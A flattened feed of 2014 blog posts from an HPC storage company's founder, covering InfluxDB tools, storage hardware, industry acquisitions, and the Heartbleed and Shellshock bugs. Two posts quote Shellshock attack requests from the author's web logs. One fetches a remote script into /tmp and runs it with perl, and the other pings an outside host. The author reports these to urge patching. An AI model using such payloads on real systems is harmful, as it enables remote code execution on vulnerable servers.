So, I can submit a patch or 3 against the InfluxDB code, or roll a simpler more general Time Series Data Base interface that will talk to InfluxDB. And eventually kdb+. Since I wanted to code for that as well, I am looking more seriously at the second option. https://blog.scalability.org/2014/10/a-good-read-on-a-bootstrapped-company/ Wed, 15 Oct 2014 16:06:08 +0000 https://blog.scalability.org/2014/10/a-good-read-on-a-bootstrapped-company/ Zoho makes a number of things, including a CRM, that we use. And they are bootstrapped. Like us. There are significant market differences between us and them, but many of the things noted in the article are common truths. If you don’t start with building a real company, you won’t have a real company. The decisions you make when your own ass is on the line are very different from the ones you might make if its someone elses ass, and money for that matter. https://blog.scalability.org/2014/10/there-are-times/ Thu, 09 Oct 2014 03:27:35 +0000 https://blog.scalability.org/2014/10/there-are-times/ … when during a support call, we see the magnitude of the self-inflicted damage, and ask ourselves exactly why did they do this to themselves? Today was like this. We do what we can to protect people from the dangerous rapidly moving sharp objects underneath the hood (or boot). We abstract things, tell them not to put fingers near the spinny blades. Yes, its a metaphor. Today was a day of Pyrrhic victories. https://blog.scalability.org/2014/10/massive-unapologetic-firepower-part-2-the-dashboard/ Tue, 07 Oct 2014 18:10:55 +0000 https://blog.scalability.org/2014/10/massive-unapologetic-firepower-part-2-the-dashboard/ For Scalable Informatics Unison product. The whole system: [ ](/images/dash-2.png) Watching writes go by: [ ](/images/dash-3.png) Note the sustained 40+ GB/s. This is a single rack sinking this data, and no SSDs in the bulk data storage path. This dashboard is part of the day job’s FastPath product. https://blog.scalability.org/2014/10/hp-to-split-up/ Mon, 06 Oct 2014 01:39:20 +0000 https://blog.scalability.org/2014/10/hp-to-split-up/ Interesting changes in the corporate M&A; or disaggregation arena. With M&A;, you are looking to build market strength by acquiring valuable IP, assets, brands, names, teams, capabilities, trade secrets, special sauces, etc. You do that to make your group stronger and more capable of handling the challenges ahead. With a disaggregation, you slice off disparate portions of the business, and set them free to pursue their own path. This is what was rumored a few weeks ago with EMC, a possible split of the federated businesses. https://blog.scalability.org/2014/10/shellshock-is-worse-than-heartbleed/ Wed, 01 Oct 2014 05:39:32 +0000 https://blog.scalability.org/2014/10/shellshock-is-worse-than-heartbleed/ In part because, well, the patches don’t seem to cover all the exploits. For the gory details, look at the CVE list here. Then cut and paste the local exploits. Even with the latest patched source, built from scratch, there are active working compromises. With heartbleed, all we had to do was nuke keys, patch/update packages, restart machines, cross fingers. This is worse, in that the fixes … well … don’t. https://blog.scalability.org/2014/09/and-the-shell-shock-attempts-continue/ Mon, 29 Sep 2014 18:57:54 +0000 https://blog.scalability.org/2014/09/and-the-shell-shock-attempts-continue/ From 174.143.168.121 (174-143-168-121.static.cloud-ips.com) Request: '() { :;}; /bin/bash -c "wget ellrich.com/legend.txt -O /tmp/.apache;killall -9 perl;perl /tmp/.apache;rm -rf /tmp/.apache"' https://blog.scalability.org/2014/09/updated-boot-tech-in-scalable-os-sios/ Mon, 29 Sep 2014 03:42:59 +0000 https://blog.scalability.org/2014/09/updated-boot-tech-in-scalable-os-sios/ This has been an itch we’ve been working on scratching a few different ways, and its very much related to forgoing distro based installers. Ok, first the back story. One of the things that has always annoyed me about installing systems has been the fundamental fragility of the OS drive. It doesn’t matter if its RAIDed in hardware/software. Its a pathway that can fail. And when it fails, all hell breaks loose. https://blog.scalability.org/2014/09/that-may-be-the-fastest-ive-seen-an-exploit-go-from-theoretical-to-used/ Thu, 25 Sep 2014 18:43:53 +0000 https://blog.scalability.org/2014/09/that-may-be-the-fastest-ive-seen-an-exploit-go-from-theoretical-to-used/ Found in our web logs this afternoon. This is bash shellshock. Request: '() {:;}; /bin/ping -c 1 104.131.0.69' This bad boy came from the University of Oklahoma, IP address 157.142.200.11 . The ping address 104.131.0.69 is something called shodan.io. Patch this one folks. Remote execution badness, and all that goes along with it. https://blog.scalability.org/2014/09/interesting-bits-around-emc/ Thu, 25 Sep 2014 14:20:01 +0000 https://blog.scalability.org/2014/09/interesting-bits-around-emc/ In the last few days, issues around EMC have become publicly known. EMC is the worlds largest and most profitable storage company, and has a federated group of businesses that are complementary to it. The CEO, Joe Tucci, is stepping down next year, and there is a succession “process” going on. Couple this to a fundamental shift in storage, from arrays to distributed tightly coupled server storage, such as Unison, which is problematic for their core business. https://blog.scalability.org/2014/09/sios-metrics-code-now-on-github/ Mon, 15 Sep 2014 14:23:24 +0000 https://blog.scalability.org/2014/09/sios-metrics-code-now-on-github/ See link for more details. It allows us to gather many metrics, saves them nicely in the database. This enables very rapid and simple data collection, even for complex data needs. https://blog.scalability.org/2014/09/solved-the-major-socket-bug-and-it-was-a-layer-8-problem/ Sun, 14 Sep 2014 15:52:28 +0000 https://blog.scalability.org/2014/09/solved-the-major-socket-bug-and-it-was-a-layer-8-problem/ I’d like to offer an excuse. But I can’t. It was one single missing newline. Just one. Missing. Newline. I changed my config file to use port 10000. I set up an nc listener on the remote host. nc -k -l a.b.c.d 10000 Then I invoked the code. And the data showed up. Without a ()&(&%&$%*&(^ newline. That couldn’t possibly be it. Could it? No. Its way to freaking simple. https://blog.scalability.org/2014/09/new-monitoring-tool-and-a-very-subtle-bug/ Sun, 14 Sep 2014 01:31:26 +0000 https://blog.scalability.org/2014/09/new-monitoring-tool-and-a-very-subtle-bug/ I’ve been working on coding up some additional monitoring capability, and had an idea a long time ago for a very general monitoring concept. Nothing terribly original, not quite nagios, but something easier to use/deploy. Finally I decided to work on it today. The monitoring code talks to a graphite backend. Could talk to statsd, or other things. In this case, we are using the InfluxDB plugin for graphite. I wanted an insanely simple local data collector. https://blog.scalability.org/2014/09/new-8tb-and-10tb-drives-from-hgst-fit-nicely-into-unison/ Tue, 09 Sep 2014 23:35:19 +0000 https://blog.scalability.org/2014/09/new-8tb-and-10tb-drives-from-hgst-fit-nicely-into-unison/ The TL;DR version: Imagine 60x 8TB drives (480TB about 1/2 PB) in a 4U unit or 4.8PB in a rack. Now make those 10TB drives. 600TB in 4U. 6PB in a full rack. These are shingled drives, great for “cold” storage, object storage, etc. One of the many functions that Unison is used for. These aren’t really for standard POSIX file systems, as your read-modify-write length is of the order of a GB or so, on a per drive basis. https://blog.scalability.org/2014/09/the-haswells-are-officially-out/ Tue, 09 Sep 2014 02:03:03 +0000 https://blog.scalability.org/2014/09/the-haswells-are-officially-out/ Great article summarizing information about them here. Of course, everyone and their brother put out press releases indicating that they would be supporting them. Rather than add to that cacophony (ok, just a little: All Scalable Informatics platforms are available with Haswell architecture, more details including benchies … soon …) we figured we’d let it die down, as the meaningful information will come from real user cases. Haswell is interesting for a number of reasons, not the least of which is 16 DPi/cycle, but fundamentally, its a more efficient/faster chip in many regards. https://blog.scalability.org/2014/09/be-sure-to-vote-for-your-favorites-in-the-hpcwire-readers-choice-awards/ Mon, 08 Sep 2014 21:23:51 +0000 https://blog.scalability.org/2014/09/be-sure-to-vote-for-your-favorites-in-the-hpcwire-readers-choice-awards/ Scalable Informatics is nominated in #12 for Best HPC storage product or technology, #20 Top supercomputing achievement which could be for this, this on a single storage box, or this this result , #21 Top 5 new products or technologies to watch for our Unison and #22 for Top 5 vendors to watch Our friends at Lucera are nominated for #4, Best use of HPC in financial services Please do vote for us and our friends at Lucera! https://blog.scalability.org/2014/09/influxdb-cli-is-up-on-github/ Fri, 05 Sep 2014 19:31:15 +0000 https://blog.scalability.org/2014/09/influxdb-cli-is-up-on-github/ I know there is a node version, and I did try it before I wrote my own. Actually, the reason I wrote my own was that I tried it and … well … Link is here. And yes, the readme is borked about 1/2 way through. Doesn’t quite show the formatting of the output quite right. Will try to fix over the weekend, as I move this a far more feature complete bit. https://blog.scalability.org/2014/09/time-series-databases-for-metrics-part-2/ Wed, 03 Sep 2014 20:12:46 +0000 https://blog.scalability.org/2014/09/time-series-databases-for-metrics-part-2/ So I’ve been working with influxdb for a while now, and have a working/credible cli for it. I’ll have to put it up on github soon. I am using it mostly as a graphite replacement, as its a compiled app versus a python code, and python isn’t terribly fast for this sort of work. We want to save lots of data, and do so with 1 second resolution. Imagine I want to save a 64 bit measurement, and I am gathering say 100 per second. https://blog.scalability.org/2014/09/an-article-on-detroit-that-is-worth-the-read/ Wed, 03 Sep 2014 19:46:58 +0000 https://blog.scalability.org/2014/09/an-article-on-detroit-that-is-worth-the-read/ Detroit had filed for bankruptcy protection a while ago. The rationale for this was simple, they simply did not have the cash flow to pay for all their liabilities. They had limited access to debt markets for a number of reasons, and they couldn’t keep cranking up the taxes on residents and businesses in the city to generate revenue. They were between a rock and a hard place. I have a soft spot in my heart for Detroit. https://blog.scalability.org/2014/08/xkcd-on-thesis-defense/ Thu, 28 Aug 2014 02:21:51 +0000 https://blog.scalability.org/2014/08/xkcd-on-thesis-defense/ I guess I did it wrong … See here https://blog.scalability.org/2014/08/definition-of-vacation/ Wed, 27 Aug 2014 20:11:30 +0000 https://blog.scalability.org/2014/08/definition-of-vacation/ … appears to be normal working hours from a location that is not your office, home … I am supposed to be on vacation. A short one, as there are simply far too many things on my plate (notice my recent posting frequency?). Instead, I am trying to solve problems for customers, sign NDAs, handle support calls. What was the purpose of vacation or holiday again? I keep forgetting. https://blog.scalability.org/2014/08/have-a-nice-cli-for-influxdb/ Fri, 15 Aug 2014 21:34:52 +0000 https://blog.scalability.org/2014/08/have-a-nice-cli-for-influxdb/ I tried the nodejs version and … well … it was horrible. Basic things didn’t work. Made life very annoying. So, being a good engineering type, I wrote my own. It will be up on our site soon. Here’s an example ./influxdb-cli.pl --host 192.168.5.117 --user test --pass test --db metrics metrics> \list series .----------------------------------. | series name | +----------------------------------+ | lightning.cpuload.avg1 | | lightning.cputotals.idle | | lightning.cputotals.irq | | lightning. https://blog.scalability.org/2014/08/scalable-informatics-12-year-anniversary/ Thu, 14 Aug 2014 15:32:07 +0000 https://blog.scalability.org/2014/08/scalable-informatics-12-year-anniversary/ I had forgotten to mention, but we hit our 12 year mark on the 1st of August. We’ve grown from a small “garage” based company (really “basement-based” in Michigan, as garages aren’t heated in winter, nor cooled in summer here), with one guy doing consulting, cluster system builds, tuning, benchmarking, white paper writing … to a 10 person outfit building the worlds fastest and densest tightly coupled storage and computing systems. https://blog.scalability.org/2014/08/time-series-databases-and-system-metrics/ Thu, 14 Aug 2014 15:24:42 +0000 https://blog.scalability.org/2014/08/time-series-databases-and-system-metrics/ I am working on updating our FastPath appliance web management/monitoring gui for the day job. Trying to push data into databases for later analysis. Many tools have been written on the collection side, statsd, fluentd, … and some are actually pretty cool. The concern for me is the way these tools express their analytical and storage opinions, which is done on the storage side. The data collection side isn’t an issue, if anything, its a breath of fresh air relative to what else I’ve seen. https://blog.scalability.org/2014/08/comcast-finally-fixed-their-latency-issue/ Mon, 04 Aug 2014 20:47:37 +0000 https://blog.scalability.org/2014/08/comcast-finally-fixed-their-latency-issue/ This has been a point of contention for us for years. Our office has multiple network attachments, using Comcast is part of it. This is the main office, not the home office. Latency on the link, as measured by DNS pings, have always been fairly high, in the multiple 2-3ms region, as compared to our other connection (using a different provider and a different technology) which has been consistently, 0.5ms for the last 2 years. https://blog.scalability.org/2014/08/kernel-achieved/ Fri, 01 Aug 2014 16:30:09 +0000 https://blog.scalability.org/2014/08/kernel-achieved/ From kernel.org https://blog.scalability.org/2014/07/be-on-the-lookout-for-pauses-in-centosrhel-6-5-on-sandy-bridge/ Thu, 31 Jul 2014 00:25:16 +0000 https://blog.scalability.org/2014/07/be-on-the-lookout-for-pauses-in-centosrhel-6-5-on-sandy-bridge/ Probably on Ivy Bridge as well. Short version. The pauses that plagued Nehalem and Westmere are baaaack. In RHEL/CentOS 6.5 anyway. A customer just ran into one. We helped diagnose/work around this a few years ago when a hedge fund customer ran into this … then a post-production shop … then … Basically the problem came in from the C-states. The deeper the sleep state, in some instances, the processor would not come out of it, or get stuck in the lower levels. https://blog.scalability.org/2014/07/the-best-thing-one-can-do-with-the-tuned-system-is/ Thu, 31 Jul 2014 00:04:55 +0000 https://blog.scalability.org/2014/07/the-best-thing-one-can-do-with-the-tuned-system-is/ yum remove tuned tuned-utils This isn’t quite as bad as THP, but its close. https://blog.scalability.org/2014/07/soon-12g-goodness-in-new-chassis/ Wed, 30 Jul 2014 16:30:38 +0000 https://blog.scalability.org/2014/07/soon-12g-goodness-in-new-chassis/ This is one of our engineering prototypes that we had to clear space for. A couple of new features I’ll talk about soon, but you should know that these are 12g SAS machines (will do 6g SATA of course as well). Front of unit: [ ](/images/IMG_2330.JPG) Note the new logo/hand bar. The rails are also brand new, and are set to enable easy slide in/out even with 100+ lbs of disk in them. https://blog.scalability.org/2014/07/comcast-disabled-port-25-mail-on-our-business-account/ Sun, 20 Jul 2014 19:20:17 +0000 https://blog.scalability.org/2014/07/comcast-disabled-port-25-mail-on-our-business-account/ We have a business account at home. I work enough from home that I can easily justify it. Fixed IP, and I run services, mostly to back up my office services. One of those services is SMTP. I’ve been running an SMTP server, complete with antispam/antivirus/… for years. Handles backup for some domains, but is also primary for this site. This is allowable on business accounts. Or it was allowable. 3 days ago, they seem to have turned that off. https://blog.scalability.org/2014/07/fantastic-lecture-from-michael-crichton/ Sat, 19 Jul 2014 13:17:26 +0000 https://blog.scalability.org/2014/07/fantastic-lecture-from-michael-crichton/ This is Michael Crichton of Andromeda Strain, Jurassic park, and other stories. Fantastic story teller, he absolutely nails his subject. The original was on his website, and I grabbed a copy from here. One of the wonderful quotable paragraphs within is this: A real scientist is, by its own very definition, a skeptic. https://blog.scalability.org/2014/07/but-gaas-is-the-material-of-the-future-and-always-will-be/ Fri, 18 Jul 2014 20:05:03 +0000 https://blog.scalability.org/2014/07/but-gaas-is-the-material-of-the-future-and-always-will-be/ I read a note on IBM’s recent allocation of capital towards research projects. It had this tidbit in there: Well, there are a range of III-V materials. Not just GaAs. One of the big issues is the lattice mis-match between SI and many of the III-V material. This strain introduces “artifacts” in the bandstructure, not to mention structural morphologies. This said, those artifacts may be what the engineers want. Aluminum Phosphate and Gallium Phosphate are pretty well matched to SI. https://blog.scalability.org/2014/07/too-simple-to-be-wrong/ Sun, 06 Jul 2014 15:28:48 +0000 https://blog.scalability.org/2014/07/too-simple-to-be-wrong/ I’ve been exercising my mad-programming skillz for a while on a variety of things. I got it in my head to port the benchmarks posted on julialang.org to perl a while ago, so I’ve been working on this in the background for a few weeks. I also plan, at some point, to rewrite them in q/kdb+, as I’ve been really wanting to spend more time with it. The benchmarks aren’t hard to rewrite. https://blog.scalability.org/2014/07/os-and-distro-as-a-detail-of-a-vmcontainer/ Thu, 03 Jul 2014 22:03:47 +0000 https://blog.scalability.org/2014/07/os-and-distro-as-a-detail-of-a-vmcontainer/ An interesting debate came about on Beowulf list. Basically, someone asked if they could use Gentoo as a distro for building a cluster, after seeing a post from someone whom did something similar. The answer of course is “yes”, with the more detailed answer being that you use what you need to build the cluster and provide the cycles that you or your users will consume. Hey, look, if someone really, truly wants to run their DOS application, Tiburon/Scalable OS will boot it. https://blog.scalability.org/2014/07/scratching-my-head-over-a-weird-bonding-issue/ Thu, 03 Jul 2014 21:50:26 +0000 https://blog.scalability.org/2014/07/scratching-my-head-over-a-weird-bonding-issue/ Trying to set up a channel bond into a 10GbE LAG. Set up bonding module, use the ‘miimon=200 mode=802.3ad’ options. The switch was sending LACP packets, 1/sec to the NICs. The NICs bond formed. But it didn’t seem to negotiate the LACP circuit correctly with the switch. The switch never registered it. I’ve not seen that one before. With Mellanox, Arista, Cisco, others like that, the LACP circuit forms correctly and quickly. https://blog.scalability.org/2014/07/new-customers/ Thu, 03 Jul 2014 21:45:08 +0000 https://blog.scalability.org/2014/07/new-customers/ We have a number of nice new customers that have been absorbing about all of my time for the last few weeks. This is goodness. One has our current generation FastPath Cadence SSD converged computing and storage system, and will be running kdb+ on it. Another has a 1PB Unison parallel file system, and while we did the previous 2TB write in 73 seconds with it, we did some tuning and tweaking and are down to 68 seconds. https://blog.scalability.org/2014/06/ma-plx-snarfed-by-avago/ Tue, 24 Jun 2014 14:09:20 +0000 https://blog.scalability.org/2014/06/ma-plx-snarfed-by-avago/ Ok, didn’t see this acquirer coming, but PLX being bought … yeah, this makes sense. Avago looks like they are trying to become the glue between systems, whether the glue is a data storage fabric, or communications fabric, etc. PLX makes PCIe switches and other kit. PCIe switch and interconnection is the direction that many are converging to. Best end to end latencies, best per-lane performance, no protocol stack silliness to deal with. https://blog.scalability.org/2014/06/ma-sandisk-snarfs-fusionio-for-1-1b-usd/ Mon, 16 Jun 2014 16:09:37 +0000 https://blog.scalability.org/2014/06/ma-sandisk-snarfs-fusionio-for-1-1b-usd/ This is only the beginning folks … only the beginning. See this. FusionIO was, quite arguably, in trouble. They needed a buyer to take them to the next level, and to avoid being made completely irrelevant. SanDisk is a natural partner for them. They have the fab and chips, FusionIO has a product. SanDisk has a vision for a flash-only data center. What’s interesting about this is that Fusion was sort of the last independent enterprise class PCI Flash vendors. https://blog.scalability.org/2014/06/selling-inventory-to-clear-space/ Wed, 04 Jun 2014 16:50:24 +0000 https://blog.scalability.org/2014/06/selling-inventory-to-clear-space/ [Update 16-June] We’ve sold the 64 bay FastPath Cadence (siFlash based) , and now we have a few more 60 bay hybrid Ceph and FhGFS units, as well as a 48 bay front mount siFlash. Whats coming in are many of our next gen 60 bay units, with a new backplane design, and we want to start running benchmarks with them ASAP. As we have limited space in our facility, we gotta make hard choices … Email me (landman@scalableinformatics. https://blog.scalability.org/2014/05/divestment-violin-sells-off-pcie-flash-card/ Fri, 30 May 2014 16:52:03 +0000 https://blog.scalability.org/2014/05/divestment-violin-sells-off-pcie-flash-card/ This article notes that Violin has divested itself of its PCIe flash card. This card was, to a degree, a shot across the Fusion IO/Virident/Micron bows. I don’t think it ever was a significant threat to them though. Terms of the sale indicate about $23M cash and assumptions of $0.5M liabilities, as well as hiring the team. What is interesting is where it was sold. Hynix. Yes, the memory chip/flash maker. https://blog.scalability.org/2014/05/ma-seagate-acquires-lsis-flash-and-accelerated-bits-from-avago/ Fri, 30 May 2014 14:01:09 +0000 https://blog.scalability.org/2014/05/ma-seagate-acquires-lsis-flash-and-accelerated-bits-from-avago/ I’ve been saying for a while that M&A; is going to get more intense as companies gird for the battles ahead. I see component vendors looking at doing vertical integration … not necessarily to compete with their customers, but to offer them alternatives, reference designs, etc. and capture a portion of the higher margin businesses. This move gives Seagate control over Sandforce controllers, and PCIe flash. See this link for more info. https://blog.scalability.org/2014/05/massive-unapologetic-firepower-2tb-write-in-73-seconds/ Mon, 19 May 2014 20:43:16 +0000 https://blog.scalability.org/2014/05/massive-unapologetic-firepower-2tb-write-in-73-seconds/ A 1.2PB single mount point Scalable Informatics Unison system, running an MPI job (io-bm) that just dumps data as fast as the little Infiniband FDR network will allow. Our test case. Write 2TB (2x overall system memory) to disk, across 48 procs. No SSDs in the primary storage. This is just spinning rust, in a single rack. This is performance pr0n, though safe for work. usn-01:/mnt/fhgfs/test # df -H /mnt/fhgfs/ Filesystem Size Used Avail Use% Mounted on fhgfs_nodev 1. https://blog.scalability.org/2014/05/insanity-in-vendor-distros/ Sun, 18 May 2014 21:17:31 +0000 https://blog.scalability.org/2014/05/insanity-in-vendor-distros/ I am not sure if this is specific to SuSE (customer requirement, don’t ask), but there is some extreme … and I really, positively mean, EXTREME … boneheaded insanity in the dhcp stack in the initrd construction in SuSE. Something that doesn’t lend itself well, to, I dunno … CORRECT AUTOCONFIGURATION OF NETWORK PORTS IN DISKLESS ENVIRONMENTS. Ok, what clued me in was this snippet from the console I’ve been struggling with for the past day. https://blog.scalability.org/2014/05/io-bm-released/ Sun, 18 May 2014 19:01:04 +0000 https://blog.scalability.org/2014/05/io-bm-released/ At long last, and yes, I can’t believe I let this slip for years … Its available here at our git site https://blog.scalability.org/2014/05/our-new-look-and-feel/ Wed, 07 May 2014 23:55:36 +0000 https://blog.scalability.org/2014/05/our-new-look-and-feel/ Day job website has been updated to something … modern. Hopefully nothing is broken … I think it looks great; the Dougs did a terrific job. Seriously, I wound up breaking DNS at the day job (by accident … really) yesterday, in order to try to rationalize something. Had to roll back our DNS servers to an older code drop. That and I had to spin up a new dedicated mail/dns internal server. https://blog.scalability.org/2014/04/building-efficient-storage-and-computing-platforms-has-little-to-do-with-using-cheap-hardware/ Wed, 30 Apr 2014 15:05:09 +0000 https://blog.scalability.org/2014/04/building-efficient-storage-and-computing-platforms-has-little-to-do-with-using-cheap-hardware/ This has been bugging me for a long time, and we have to address this in every discussion we have. You can’t build cost effective scale out systems on cheap-ass hardware designs. Its woefully inefficient, the cost blows up to achieve the type of performance we can achieve often with an order of magnitude fewer systems (hey … thats less acquisition cost, less TCO, less power/cooling, lower management strain, smaller footprint, tastes great, less filling, …) The only way people recognize this is when they actually try it themselves. https://blog.scalability.org/2014/04/ma-inktank-acquired-by-red-hat/ Wed, 30 Apr 2014 15:01:17 +0000 https://blog.scalability.org/2014/04/ma-inktank-acquired-by-red-hat/ I am happy for Sage and team, this is a good exit. Obviously we didn’t know this was happening, but I guessed something like this a few weeks ago. Bigger picture: Open source technologies have been capturing mindshare from closed source object, file, and block for a while. This will serve to massively amplify this. GlusterFS was niche until Red Hat bought it. Then it went mainstream. Ceph isn’t GlusterFS though. https://blog.scalability.org/2014/04/when-ideology-trumps-pragmatic-design/ Tue, 29 Apr 2014 03:41:33 +0000 https://blog.scalability.org/2014/04/when-ideology-trumps-pragmatic-design/ Real differentiation, adding real value to something, is often hard to do. Fundamental changes often take time, and are often incremental in scope, so they don’t break everything. That is, unless you are so completely convinced that your way is better, that you try to force the market in that direction. Sometimes these gambits work. Sometimes they don’t. This is about one that did not work. I am convinced my Mac OSX laptop may be the best laptop I’ve used. https://blog.scalability.org/2014/04/busy-last-two-weeks-and-lots-of-traveling-next-two-weeks/ Tue, 29 Apr 2014 03:12:05 +0000 https://blog.scalability.org/2014/04/busy-last-two-weeks-and-lots-of-traveling-next-two-weeks/ We’ve been cranking out the products to ship to customers, and I’ve been fretting over tests, as usual. And I finished my initial pass at the automated installer. It builds our new Debian based systems very nicely, though there is still a little human interaction. Working on it. And it should work perfectly for all Ubuntu as well. Have an install in Hollywood this week. New market for us, very interesting and it plays completely to our strengths. https://blog.scalability.org/2014/04/when-the-networking-revolution-comes-the-cheap-switches-will-be-the-first-ones-against-the-wall/ Tue, 29 Apr 2014 03:04:04 +0000 https://blog.scalability.org/2014/04/when-the-networking-revolution-comes-the-cheap-switches-will-be-the-first-ones-against-the-wall/ Seriously … no more cheap switches as the central point of information flow in storage or computing clusters. The money you save will be blown in the first hour you pay for down time or architectural changes you need to actually move your data without tossing packets on the ground … … because while standard network codes don’t care so much if they need to retransmit or lose data, cluster file systems get very … very … testy when data doesn’t arrive when and where it is supposed to, in the right order, because the cheap-ass switch was too busy tossing packets on the floor. https://blog.scalability.org/2014/04/slides-from-hpc-on-wall-street-spring-2014-are-up/ Tue, 15 Apr 2014 19:30:35 +0000 https://blog.scalability.org/2014/04/slides-from-hpc-on-wall-street-spring-2014-are-up/ See here. Very good conference, lots of good discussion. https://blog.scalability.org/2014/04/hate-to-be-an-alarmist-but-heartbleed-is-worse-than-i-had-thought-it-was/ Tue, 08 Apr 2014 22:43:09 +0000 https://blog.scalability.org/2014/04/hate-to-be-an-alarmist-but-heartbleed-is-worse-than-i-had-thought-it-was/ TL;DR: Run, as in now, before you finish reading this, to update vulnerable OpenSSL packages. Restart your OpenSSL using services (ssh, https, openvpn). Then nuke your keys, and start all over again. Yeah, its that bad. I had hoped, incorrectly, that no one would start asking, “hey, can we exploit this in the wild?” any time soon. Unfortunately … exploits are live and out there. Have a look at this session hijacking done using the bug. https://blog.scalability.org/2014/04/sometime-things-work-far-better-than-one-might-expect/ Tue, 08 Apr 2014 16:22:26 +0000 https://blog.scalability.org/2014/04/sometime-things-work-far-better-than-one-might-expect/ The day job builds a storage product which integrates Ceph as the storage networking layer. What happened was, in idiomatic American English: We made very tasty lemonade out of very bitter lemons. For the rest of the world, this means we had a bad situation during our setup at the booth. 3 boxes of drives and SSDs. 2 of them arrived. The 3rd may have been stolen, or gone missing, or wound up in a shallow grave somewhere. https://blog.scalability.org/2014/04/sometimes-the-right-level-of-caffeination-helps-in-work/ Thu, 03 Apr 2014 21:10:50 +0000 https://blog.scalability.org/2014/04/sometimes-the-right-level-of-caffeination-helps-in-work/ I had an opportunity to review an old post I had written about playing with prime numbers. In it, I wrote out an explicit formula for a number, expressed as a product of primes. This goes to the definition of a composite or a prime number. Whats interesting is what leaps out at you when you look at something you wrote a while ago. Looking at the formula I wrote down, there is a very easy way to define if a number is prime or composite. https://blog.scalability.org/2014/04/doing-what-we-are-passionate-about/ Wed, 02 Apr 2014 06:20:06 +0000 https://blog.scalability.org/2014/04/doing-what-we-are-passionate-about/ I am lucky. I fully admit this. There are people out there whom will tell you that its pure skill that they have been in business and been successful for a long time. Others will admit luck is part of it, but will again, pat themselves on the back for their intestinal fortitude. Few will say “I am lucky”. Which is a shame, as luck, timing (which you can never really, truly, control), and any number of other factors really are critical to one being able to have the luxury of doing what we are doing. https://blog.scalability.org/2014/04/negative-latencies/ Tue, 01 Apr 2014 15:28:12 +0000 https://blog.scalability.org/2014/04/negative-latencies/ I’ve been thinking for a while that our obsession with reduction of latency in computing and storage could be ameliorated by exploiting a negative latency design. A negative latency design would be one where a hypothetical message would arrive at a receiver before the sender completed sending it. There are a few issues with this. First off is how on earth, or elsewhere, is this possible? Second, aren’t there issues with causality violations? https://blog.scalability.org/2014/03/hpc-on-wall-street-session-on-low-latency-cloud/ Mon, 31 Mar 2014 20:31:44 +0000 https://blog.scalability.org/2014/03/hpc-on-wall-street-session-on-low-latency-cloud/ See here for the program sheet. The session is here: HPC on Wall Street Flyer Description is this: Wall Street and the global financial markets are building low latency infrastructures for pro- cessing and timely response to information content in massive data flows. These big data flows require architectural design patterns at a macro- and micro-level, and have implications for users of cloud systems. This panel will discuss, from macro to micro, how new capabilities and technologies are making a positive impact. https://blog.scalability.org/2014/03/arista-files-for-ipo/ Mon, 31 Mar 2014 14:20:54 +0000 https://blog.scalability.org/2014/03/arista-files-for-ipo/ From Dan Primak’s Term Sheet email https://blog.scalability.org/2014/03/intel-ditches-own-hadoop-distro-in-favor-of-cloudera/ Thu, 27 Mar 2014 18:29:40 +0000 https://blog.scalability.org/2014/03/intel-ditches-own-hadoop-distro-in-favor-of-cloudera/ Last year, Intel started building its own distro of Hadoop. Their argument was that they were optimizing it for their architecture (as compared to, say, ARM). Today came word (via InsideHPC.com) that they are switching to Cloudera. This makes perfect sense to me. Intel couldn’t really optimize Hadoop by compiler options to use new instruction capability (part of their selling point), as Hadoop is a Java thing. And Java has its own VM, and many performance touch points that have nothing to do with processor architecture. https://blog.scalability.org/2014/03/nice-interview-with-freeman-dyson/ Thu, 27 Mar 2014 00:29:30 +0000 https://blog.scalability.org/2014/03/nice-interview-with-freeman-dyson/ Freeman Dyson is an incredible scientist. I imagine he, Terrance Tao, Paul Erdos and a number of others are all woven from the same cloth. Dyson has done some amazing work, and probably will do some more amazing work. The interview is here. One of the comments he made really struck me as being dead on correct … I’ve used similar language, describing a Ph.D. as a union card. And I agree it takes far too long in physics. https://blog.scalability.org/2014/03/free-market-forces-at-work-the-way-they-should-be/ Tue, 25 Mar 2014 15:29:50 +0000 https://blog.scalability.org/2014/03/free-market-forces-at-work-the-way-they-should-be/ There’s a much publicized (in SV) trial going on over an oligarchic wage suppression scheme that was in force between a number of big players in SV. Apart from Facebook that is. Techcrunch has the details. What transpires when free market forces are allowed to work with their invisible hands unconstrained? Simple. Kudos to facebook for doing the right thing, though in all honesty, I don’t attribute this to being altruistic on their part. https://blog.scalability.org/2014/03/staring-into-voids-that-stare-back/ Tue, 25 Mar 2014 14:31:16 +0000 https://blog.scalability.org/2014/03/staring-into-voids-that-stare-back/ I had mentioned this in my write up about our 10 year anniversary. And this post yesterday from Scott Weiss at Andreessen Horowitz Its in that staring deep and hard into the yawning void that one gets their inspiration. Call it sheer abject terror, or motivation. Whatever. It juices your processors into overdrive if you are an entrepreneur. You are at your most creative when you are at your most fearful. https://blog.scalability.org/2014/03/good-read-on-ageism-in-sv-vcs/ Mon, 24 Mar 2014 11:57:50 +0000 https://blog.scalability.org/2014/03/good-read-on-ageism-in-sv-vcs/ Oddly enough at the New Republic. Article is here. I was somewhat amused by the read, but some of it rung quite true. Its nice to hear of more of the signals one needs to read VC tea leaves. They never say no, but they do move goal posts, always outward, always away from you. The article implies they get hung up on TAM, as a proxy for what they really think. https://blog.scalability.org/2014/03/unicode-any-python-64-bit-build/ Sat, 22 Mar 2014 18:25:39 +0000 https://blog.scalability.org/2014/03/unicode-any-python-64-bit-build/ [Update] I gave up on 2.7.x. Nothing I did made it work. I removed all the options apart from prefix for compilation of 3.4.0. That worked. Now onto building ipython, ijulia and other good things (SciPy stack). We will use 3.x going forward rather than try to remain compatible with 2.x. Updating our tool chain to include a modern python which will be outside of the distro version. Long … long experience dealing with distro based tools are that they are usually … badly … out of date. https://blog.scalability.org/2014/03/sios-inst/ Sat, 22 Mar 2014 13:15:04 +0000 https://blog.scalability.org/2014/03/sios-inst/ Ok, I am taking the leap. I’ve started working on the SIOS Inst system. Basically, after reviewing everything thats broken (and for that matter unfixable) in the anaconda, debian-installer, and other installation mechanisms, I’ve decided that for our purposes, the only way that we are going to get correct and reliable builds for stateful systems is to forgo these systems advanced installation mechanisms. If we can skip the code entirely, we will. https://blog.scalability.org/2014/03/hpc-on-wall-street/ Thu, 20 Mar 2014 15:09:04 +0000 https://blog.scalability.org/2014/03/hpc-on-wall-street/ Not only do we have a booth, but we are sponsoring a session on Low Latency Cloud and Big Data. Roosevelt Hotel in NYC on 7-April. See the site for more details. If you’d like to attend and need a pass, please contact me at the day job. Our partners Lucera, Inktank, and Pluribus Networks will be there with us. Possible more. https://blog.scalability.org/2014/03/not-so-fast/ Tue, 18 Mar 2014 23:46:44 +0000 